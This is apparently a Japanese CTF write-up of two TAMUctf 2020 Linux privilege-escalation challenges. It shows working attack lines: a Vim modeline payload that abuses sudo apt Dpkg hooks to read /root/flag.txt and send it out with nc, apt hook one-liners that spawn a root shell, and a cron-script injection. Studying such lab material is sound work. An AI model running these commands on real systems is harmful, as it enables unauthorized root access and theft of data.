userからrootへ ~昇格の途を探る~(TAMUctf 2020: Writeup)

## Linux Privilege Escalation
特定のマシンでArbitary Code Executionが`user`権限でできる時、なんとかして`root`権限でのコマンド実行可能にすることを`Privilege Escalation`という。具体的な方法は多岐に渡るが[このような記事](https://medium.com/basic-linux-privilege-escalation/basic-linux-privilege-escalation-966de11f9997)にあるように特定のマシン内の情報(OS, command, 権限, etc...)をひたすらに集めて脆弱性のある部分を探し、それに適した攻撃法を調べ、それを適用するのが基本的な方針となる。なんでもありな分それぞれの攻撃や脆弱性の理解には難しい部分がありつつも抽象化すると手順は意外とシンプルになる(らざるを得ない)。


[TAMUctf 2020](https://github.com/tamuctf/TAMUctf-2020)で自分が解いた範囲で`Linux Privilege Execution`の問題が2つあったのでこの記事にまとめる。

## 実践(Writeup)
Linux Privilege Escalationにはまず `user` 権限で対象のマシンでのコマンドが実行できる必要がある。
`Obituary`では以前[記事](https://qiita.com/yto9/items/dbcc10d1bbb3651789f1)にした`Vim`の`CVE-2019-12735`脆弱性を、`MY FIRST BLOG`では`nostromo`の`CVE-2019-16278`脆弱性を利用してRCEが実行できる(PoCは[これ](https://www.exploit-db.com/exploits/47837)を利用した)。以下何を実行しているのか分かりやすいようにそれぞれのPoCを利用した上でマシン上で実行されるコマンドとその結果についてのみ考える。RCEについてのPoC利用部分は省略する。

### TAMUctf: Obituary-2
問題環境 TAMUctf 2020: [Obituary](https://github.com/tamuctf/TAMUctf-2020/tree/master/NetworkPentest/obituary)

> Hey, shoot me over latest version of the code. I have a simple nc session up, just pass it over when you're ready.
> You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!

> NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.

```sh:攻撃対象マシン(172.30.0.2)
$ id
uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski)

$ ls ~/
flag.txt (obtuary_1のフラグ)
manually_installed_packages.txt
note_to_self.txt

$ cat ~/note_to_self.txt
Apparently my packages are out of date. ITSEC is really throwing a fit about me
needing to update since red team popped my box.

I'm sending them my installed packages. I have no idea how these guys got root
on my machine, my password is like 60 characters long. The only thing I have
as nopasswd is apt, which I just use for updates anyway.

$ cat ~/manually_installed_packages.txt
libgpm2
libtinfo5
lsb-base
netcat
python3
screen
socat
sudo
vim
vim-common
vim-runtime
wget
xxd
```

#### 以上から得られるヒント
>  The only thing I have as nopasswd is apt, which I just use for updates anyway.

`apt`の実行がパスワードなしで実行できるようになっている模様。
ヒントがなかった場合でも以下から確認できる。

```sh:攻撃対象マシン(172.30.0.2)
$ sudo -l
Matching Defaults entries for mwazowski on 752d3ba120c0:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mwazowski may run the following commands on 752d3ba120c0:
    (root) NOPASSWD: /usr/bin/apt
```
#### apt を経由したLinux Privilege Escalation
`apt privilege escalation` で検索すると以下のような形で実行の前後にhookしてコマンドを挟むことで`apt`の実行権限(すなわち`root`)で挟んだコマンドの実行が可能になるようだ。(参考: [Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration](https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/))

```sh
$ sudo apt-get update -o APT::Update::Pre-Invoke::= /bin/bash
$ sudo apt-get update -o APT::Update::Post-Invoke::= /bin/bash
$ sudo apt-get update -o DPkg::Pre-Invoke::= /bin/bash
```

今回もこれを利用しようと考えたが、対象環境はインターネットに繋がっていない為`apt udpate` がhookコマンドの実行前にError終了してしまう。
上の例のオプションの指定の仕方を見ると三つ目の方法なら`update` に限らず`dpkg`周辺のコマンド実行時にhookを仕込めると踏み調べてみると予想通りだった。
インターネットアクセスが必要なさそうな`purge`で上記の`~/manually_installed_packages.txt`に記載されているpackageを指定すると無事hookしたコマンドの実行が確認できた(がpurgeも成功してしまってこの攻撃の根幹のセッションを構成している`netcat`等を指定したらその後の攻撃が出来なくなっていたかもしれない)。

#### 攻撃の構築
以上の調査から最終的に以下のようにして秘匿情報(`/root/flag.txt`)を取得した。

```text:PoC.txt(CVE-2019-12735攻撃スクリプト)
:!sudo apt purge -y -o Dpkg::Pre-Invoke::="cat /root/flag.txt;false" xxd 2>&1 | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=
```

```localマシン(172.30.0.14)
$ nc 172.30.0.2 4321 < PoC.txt

(事前に起動済み)$ nc -vkl 4444 
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Reading package lists...
Building dependency tree...
Reading state information...
The following packages were automatically installed and are no longer required:
  libpcre2-8-0 libpsl5 publicsuffix
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  vim* vim-common* xxd*
gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.
After this operation, 3400 kB disk space will be freed.
E: Problem executing scripts DPkg::Pre-Invoke 'cat /root/flag.txt;false'
E: Sub-process returned an error code
```
`/root/flag.txt`の内容は上記の出力の`gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}`部分となる。(CVE-2019-12735のPoCについては[以前の記事](https://qiita.com/yto9/items/dbcc10d1bbb3651789f1)に詳細あり)
今回の警句は
`y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r` -> you would think people would know better.
`~/note_to_self.txt`に書いてあった以下の部分を皮肉ったものだった。面白い。
> I have no idea how these guys got root
on my machine, my password is like 60 characters long.


### TAMUctf: MY FIRST BLOG
問題環境 TAMUctf 2020: [MY FIRST BLOG](https://github.com/tamuctf/TAMUctf-2020/tree/master/NetworkPentest/my-first-blog)
> Here is a link to my new blog!  I read about a bunch of exploits in common server side blog tools so I just decided to make my website static.  Hopefully that should keep it secure. 

#### 対象の構成
172.30.0.2に`Hugo`を利用して生成された静的サイトが`nostromo` サーバーを利用して設置されている。

```sh
$ nmap -A 172.30.0.2              
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:07 JST
Nmap scan report for 172.30.0.2
Host is up (0.14s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nostromo 1.9.6
|_http-generator: Hugo 0.54.0
|_http-server-header: nostromo 1.9.6
|_http-title: My first blog!
```

#### 調査(Enumeration)
今回は先ほどと違い`Linux Privilege Escalation`に利用出来る候補のファイルがあるわけではないので可能性のあるものを片っ端から列挙していく。
調べるとEnumeration用scriptはいくつかヒットするが、どれも得られる情報量に大差なさそうだったのであまり環境に左右されなそうなシェルスクリプトで用意されている[LinEnum](https://github.com/rebootuser/LinEnum)を利用した。
対象マシンはインターネットアクセスは無いがインターネットアクセスがあり、`/tmp`へのファイルの配置が可能だったので`nc`を利用して送られてきたものを`/tmp/LinEnum.sh`として書き出すようにサーバーを立て、scriptを送り込み確認した。

`LinEnum.sh`の出力には大量の情報が列挙される。`cron`の部分で`/usr/bin/healthcheck`が`root`で走っていることがわかる。

```sh:対象マシン
$ sh /tmp/LinEnum.sh

...

-e ### JOBS/TASKS ##########################################
-e [-] Cron jobs:
-rw-r--r-- 1 root root  758 Mar 20 08:06 /etc/crontab

/etc/cron.d:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.daily:
total 24
drwxr-xr-x 1 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder
-rwxr-xr-x 1 root root 1478 Apr 20  2018 apt-compat
-rwxr-xr-x 1 root root 1176 Nov  2  2017 dpkg
-rwxr-xr-x 1 root root  249 Jan 25  2018 passwd

/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.weekly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder
-e 

-e [-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/bin/healthcheck
-e 

...

```

さらに`/usr/bin/healthchek`はuser-writableであることがわかる。

```sh:対象マシン
$ ls -la /usr/bin/healthcheck
-rwxrwxrwx 1 root root 98 Mar 19 18:41 /usr/bin/healthcheck
```



#### 攻撃の構築
以上から`/usr/bin/healthcheck`にコマンドを追記すれば`cron`経由で`root`で実行されることがわかったので以下のように`/root`を読めるように`/tmp`にコピー。

```text:/usr/bin/healthcheck(対象マシン)
#!/bin/bash
nc -z localhost 80
if [ $? == 1 ]; then
        echo "nhttpd is dead, restarting."
        nhttpd
fi
#以下を追記
cp -r /root /tmp/root
chmod -R 777 /tmp/root
```

コピーしてきたディレクトリに欲しい秘匿情報(`flag.txt`)が取得できた。

```sh:(対象マシン)
$ ls -la /tmp/root
drwxrwxrwx 3 root root 4096 Mar 21 06:11 .
drwxrwxrwt 1 root root 4096 Mar 21 06:17 ..
-rwxrwxrwx 1 root root 3106 Mar 21 06:10 .bashrc
-rwxrwxrwx 1 root root  148 Mar 21 06:10 .profile
-rwxrwxrwx 1 root root   29 Mar 21 06:10 flag.txt

$ cat /tmp/root/flag.txt
gigem{l1m17_y0ur_p3rm15510n5}
```
今回の警句は
`l1m17_y0ur_p3rm15510n5` -> limit your permission
`/usr/bin/healthcheck`の権限を適切に(せめてnon-writableに)すれば良かったということだろう。

## 感想
`Linux Privilege Escalation`はこのTAMUctfで初めてある程度体系的に調べ実際に以上2つの構成で攻撃を試みたが、misconfigurationなものが一つでも存在すれば思ったより簡単に達成できてしまうことがわかった。調べた範囲では典型的な`Linux Privilege Execution`の例にはKernel exploitやSUID commandを利用したもの等もあったので今度挑戦してみようと思う。
## 参考
- [Linux Privilege Escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation)
- [A guide to Linux Privilege Escalation](https://payatu.com/guide-linux-privilege-escalation)
- [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- [Enumeration is the Key](https://medium.com/basic-linux-privilege-escalation/basic-linux-privilege-escalation-966de11f9997)
- [Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration](https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/)
- [TAMUctf 2020](https://github.com/tamuctf/TAMUctf-2020)
- [nostromo 1.9.6 - Remote Code Execution ](https://www.exploit-db.com/exploits/47837)